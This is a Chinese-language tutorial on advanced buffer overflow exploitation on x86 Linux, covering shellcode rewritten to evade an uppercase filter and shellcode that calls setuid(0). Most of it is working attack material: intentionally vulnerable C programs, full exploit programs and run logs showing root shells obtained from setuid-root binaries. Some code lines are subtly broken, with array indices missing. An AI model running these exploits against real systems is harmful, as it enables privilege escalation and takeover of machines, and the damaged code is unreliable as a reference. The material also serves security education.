网络安全 频道

高级缓冲溢出使用讲座

1.介绍

现今存在着好几种缓冲区溢出的代码程序。早期的缓冲区溢出程序功能比较简单,往往是仅仅(通过执行 /bin/sh)获得一个 shell 。但是现今的缓冲区溢出程序已具备更多样化的方法,如绕过过滤器限制、建立套接字、突破chroot等等。这里我们主要介绍基于(intel x86)Linux下缓冲区溢出编程中一些较为高级的使用技巧。


2.预备知识

你必须了解汇编语言、C语言还有Linux。当然,你还必须知道缓冲区溢出是怎么一回事。我们站点上有关于缓冲溢出的机理分析可供你参考。你也可以从phrak杂志的49-14找到有关的缓冲区溢出的的资料(英文)。


3.绕过过滤器限制

许多程序存在缓冲区溢出问题。但是为什么并非所有的缓冲区溢出程序都能被用于获得shell 呢?这是因为即使某个程序具备了缓冲区溢出的条件,也许仍然很难攻击成功。在许多情况下是由于程序过滤了一些字符或者把一些字符转变为另一些字符。如果一个程序过滤了所有的非打印字符,溢出漏洞就几乎不可利用了。但如果程序只过滤了部分的字符,那你可以通过编写巧妙的缓冲区溢出代码来绕过通过这些过滤机制。:)

3.1 被攻击的例程

vulnerable1.c
----------------------------------------------------------------------------
#include<string.h>
#include<ctype.h>

int main(int argc,int **argv)
{
  char buffer[1024];
  int i;
  if(argc>1)
  {
    for(i=0;i<strlen(argv[1]);i++)
      argv[1]=toupper(argv[1]);
    strcpy(buffer,argv[1]);
  }
}
----------------------------------------------------------------------------

这段程序很简单,只完成将用户输入的小写的字母转换为大写的字母。所以,你必须编写一个不包含任何小写字母的shellcode。如何才能做到呢?需要注意的是,我们必须面对诸如"/bin/sh"必须是小写的事实。但事实上,我们确实可以做到这一点。:)

3.2 修改常规的shellcode

几乎所有的缓冲区溢出代码使用如下的shellcode。现在你要做的事是把所有的小写字母从shellocode里去掉。当然,新的shellcode也要使我们获得shell。

常规的shellcode
----------------------------------------------------------------------------
char shellcode[]=
  "\xeb\x1f" /* jmp 0x1f */
  "\x5e" /* popl %esi */
  "\x89\x76\x08" /* movl %esi,0x8(%esi) */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x88\x46\x07" /* movb %eax,0x7(%esi) */
  "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
  "\xb0\x0b" /* movb $0xb,%al */
  "\x89\xf3" /* movl %esi,%ebx */
  "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
  "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
  "\xcd\x80" /* int $0x80 */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\x89\xd8" /* movl %ebx,%eax */
  "\x40" /* inc %eax */
  "\xcd\x80" /* int $0x80 */
  "\xe8\xdc\xff\xff\xff" /* call -0x24 */
  "/bin/sh"; /* .string \"/bin/sh\" */
----------------------------------------------------------------------------

这段shellcode里包含6个小写字母。(5个在"/bin/sh"里面,1个在"movl %esi,0x8(%esi)"里)。我们不能直接使用"/bin/sh",因为它会被过滤掉。但是可以在其中插入任意的非小写字符。也就是说,可以插入"\x2f\x12\x19\x1e\x2f\x23\x18"来代替"\x2f\x62\x69\x6e\x2f\x73\x68" ( "/bin/sh" )。但是在缓冲区溢出后,我们必须把"\x2f\x12\x19\x1e\x2f\x23\x18"变成"\x2f\x62\x69\x6e\x2f\x73\x68",这样才可以执行"/bin/sh"。我们可以通过在SHELLCODE执行时加\x50使\x62,\x69,\x6e,\x73和\x68成为执行代码。但是如何隐藏在指令"movl %esi,0x8(%esi)"中的\x76呢?可以把"movl %esi,0x8(%esi)"等效为其他不包含小写字母的指令。比如"movl %esi,0x8(%esi)"能够变成为"movl %es.,%eax","addl $0x8,%eax","movl %eax,0x8(%esi)"这个指令序列。当然这也可以用其他的指令来完成,只要改变后的指令中不包含任何小写字母。以下是经过修改的shellcode

----------------------------------------------------------------------------
char shellcode[]=
  "\xeb\x38" /* jmp 0x38 */
  "\x5e" /* popl %esi */
  "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
  "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
  "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
  "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
  "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
  "\x89\xf0" /* movl %esi,%eax */
  "\x83\xc0\x08" /* addl $0x8,%eax */
  "\x89\x46\x08" /* movl %eax,0x8(%esi) */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x88\x46\x07" /* movb %eax,0x7(%esi) */
  "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
  "\xb0\x0b" /* movb $0xb,%al */
  "\x89\xf3" /* movl %esi,%ebx */
  "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
  "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
  "\xcd\x80" /* int $0x80 */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\x89\xd8" /* movl %ebx,%eax */
  "\x40" /* inc %eax */
  "\xcd\x80" /* int $0x80 */
  "\xe8\xc3\xff\xff\xff" /* call -0x3d */
  "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
  /* /bin/sh is disguised */
3.3 使用攻击程序

 

利用以上shellcode,可以非常轻松地编写出溢出漏洞攻击代码。

exploit1.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
  "\xeb\x38" /* jmp 0x38 */
  "\x5e" /* popl %esi */
  "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
  "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
  "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
  "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
  "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
  "\x89\xf0" /* movl %esi,%eax */
  "\x83\xc0\x08" /* addl $0x8,%eax */
  "\x89\x46\x08" /* movl %eax,0x8(%esi) */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x88\x46\x07" /* movb %eax,0x7(%esi) */
  "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
  "\xb0\x0b" /* movb $0xb,%al */
  "\x89\xf3" /* movl %esi,%ebx */
  "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
  "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
  "\xcd\x80" /* int $0x80 */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\x89\xd8" /* movl %ebx,%eax */
  "\x40" /* inc %eax */
  "\xcd\x80" /* int $0x80 */
  "\xe8\xc3\xff\xff\xff" /* call -0x3d */
  "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
  /* /bin/sh is disguised */

unsigned long get_sp(void)
{
  __asm__("movl %esp,%eax");
}

main(int argc,char **argv)
{
  char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  long addr;
  unsigned long sp;
  int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
  int i;

  if(argc>1)
    offset=atoi(argv[1]);

  sp=get_sp();
  addr=sp-offset;

  for(i=0;i<bsize;i+=4)
  {
    buff[i+ALIGN]=(addr&0x000000ff);
    buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
    buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
    buff[i+ALIGN+3]=(addr&0xff000000)>>24;
  }

  for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
    buff=NOP;

  ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  for(i=0;i<strlen(shellcode);i++)
    *(ptr++)=shellcode;

  buff[bsize-1]='\0';

  printf("Jump to 0x%08x\n",addr);

  execl("./vulnerable1","vulnerable1",buff,0);
}
----------------------------------------------------------------------------

运行结果如下:

----------------------------------------------------------------------------
[ user@host ~ ] {1} $ ls -l vulnerable1
-rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1*
[ user@host ~ ] {2} $ ls -l exploit1
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1*
[ user@host ~ ] {3} $ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[ user@host ~ ] {4} $ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------

3.4 技巧用途

利用这个技巧,我们可以绕过各种系统不同的过滤机制。当被攻击程序过滤了!@#$%^&*()时,我们可以编制一个新的shellcode,使之不包含!@#$%^&*()。然而,如果程序过滤了更多字符,编制shellcode也会变得更加困难。


4. 改变uid为0

setuid成为root的程序是在运行时具有root权限的的程序,一直是被认为安全的一个隐患。因为它在执行过成中调用了seteuid(0)。许多程序员认为使用seteuid(getuid())会更安全些,但事实并非如此,用户标识(uid)还是可以变为0。:)

4.1 被攻击的例程

vulnerable2.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>

int main(int argc,char **argv)
{
  char buffer[1024];
  seteuid(getuid());
  if(argc>1)
    strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------

这个程序从一开始就调用seteuid(getuid())。所以,可以认为后面的"strcpy(buffer,argv[1]);"是没有问题的。因为即使成功地实现了缓冲区溢出攻击,我们也只能得到自己的shell。不过,如果在shellcode中加入含有setuid(0)的调用,不就能够得到root的shell了吗?:)

4.2 编制setuid(0)代码

setuidasm.c
----------------------------------------------------------------------------
main()
{
  setuid(0);
}
----------------------------------------------------------------------------

然后编译和反汇编

----------------------------------------------------------------------------
[ user@host ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
[ user@host ~ ] {2} $ gdb setuidasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>: int $0x80
0x804ca0d <__setuid+13>: movl %edx,%ebx
0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>: ret
0x804ca1b <__setuid+27>: nop
0x804ca1c <__setuid+28>: nop
0x804ca1d <__setuid+29>: nop
0x804ca1e <__setuid+30>: nop
0x804ca1f <__setuid+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------

setuid(0); code
----------------------------------------------------------------------------
char code[]=
  "\x31\xc0" /* xorl %eax,%eax */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\xb0\x17" /* movb $0x17,%al */
  "\xcd\x80"; /* int $0x80 */
----------------------------------------------------------------------------

4.3 修改常规的shellcode

现在只要在常规的shellcode的开头处,插入我们setuid(0)代码就得到了一个新的shellcode。

新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
  "\x31\xc0" /* xorl %eax,%eax */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\xb0\x17" /* movb $0x17,%al */
  "\xcd\x80" /* int $0x80 */
  "\xeb\x1f" /* jmp 0x1f */
  "\x5e" /* popl %esi */
  "\x89\x76\x08" /* movl %esi,0x8(%esi) */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x88\x46\x07" /* movb %eax,0x7(%esi) */
  "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
  "\xb0\x0b" /* movb $0xb,%al */
  "\x89\xf3" /* movl %esi,%ebx */
  "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
  "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
  "\xcd\x80" /* int $0x80 */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\x89\xd8" /* movl %ebx,%eax */
  "\x40" /* inc %eax */
  "\xcd\x80" /* int $0x80 */
  "\xe8\xdc\xff\xff\xff" /* call -0x24 */
  "/bin/sh"; /* .string \"/bin/sh\" */
----------------------------------------------------------------------------

4.4 攻击程序

用下面的shellcode,你可以很方便的使用代码.

exploit2.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
  "\x31\xc0" /* xorl %eax,%eax */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\xb0\x17" /* movb $0x17,%al */
  "\xcd\x80" /* int $0x80 */
  "\xeb\x1f" /* jmp 0x1f */
  "\x5e" /* popl %esi */
  "\x89\x76\x08" /* movl %esi,0x8(%esi) */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x88\x46\x07" /* movb %eax,0x7(%esi) */
  "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
  "\xb0\x0b" /* movb $0xb,%al */
  "\x89\xf3" /* movl %esi,%ebx */
  "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
  "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
  "\xcd\x80" /* int $0x80 */
  "\x31\xdb" /* xorl %ebx,%ebx */
  "\x89\xd8" /* movl %ebx,%eax */
  "\x40" /* inc %eax */
  "\xcd\x80" /* int $0x80 */
  "\xe8\xdc\xff\xff\xff" /* call -0x24 */
  "/bin/sh"; /* .string \"/bin/sh\" */

unsigned long get_sp(void)
{
  __asm__("movl %esp,%eax");
}

void main(int argc,char **argv)
{
  char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  long addr;
  unsigned long sp;
  int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
  int i;

  if(argc>1)
    offset=atoi(argv[1]);

  sp=get_sp();
  addr=sp-offset;

  for(i=0;i<bsize;i+=4)
  {
    buff[i+ALIGN]=(addr&0x000000ff);
    buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
    buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
    buff[i+ALIGN+3]=(addr&0xff000000)>>24;
  }

  for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
    buff=NOP;

  ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  for(i=0;i<strlen(shellcode);i++)
    *(ptr++)=shellcode;

  buff[bsize-1]='\0';

  printf("Jump to 0x%08x\n",addr);

  execl("./vulnerable2","vulnerable2",buff,0);
}
----------------------------------------------------------------------------

运行结果

----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable2
-rwsr-xr-x 1 root root 4258 Oct 18 14:16 vulnerable2*
[ user@hosts ~ ] {2} $ ls -l exploit2
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 14:26 exploit2*
[ user@hosts ~ ] {3} $ ./exploit2
Jump to 0xbfffec64
Illegal instruction
[ user@hosts ~ ] {4} $ ./exploit2 500
Jump to 0xbfffea70
bash# whoami
root
bash#

0
相关文章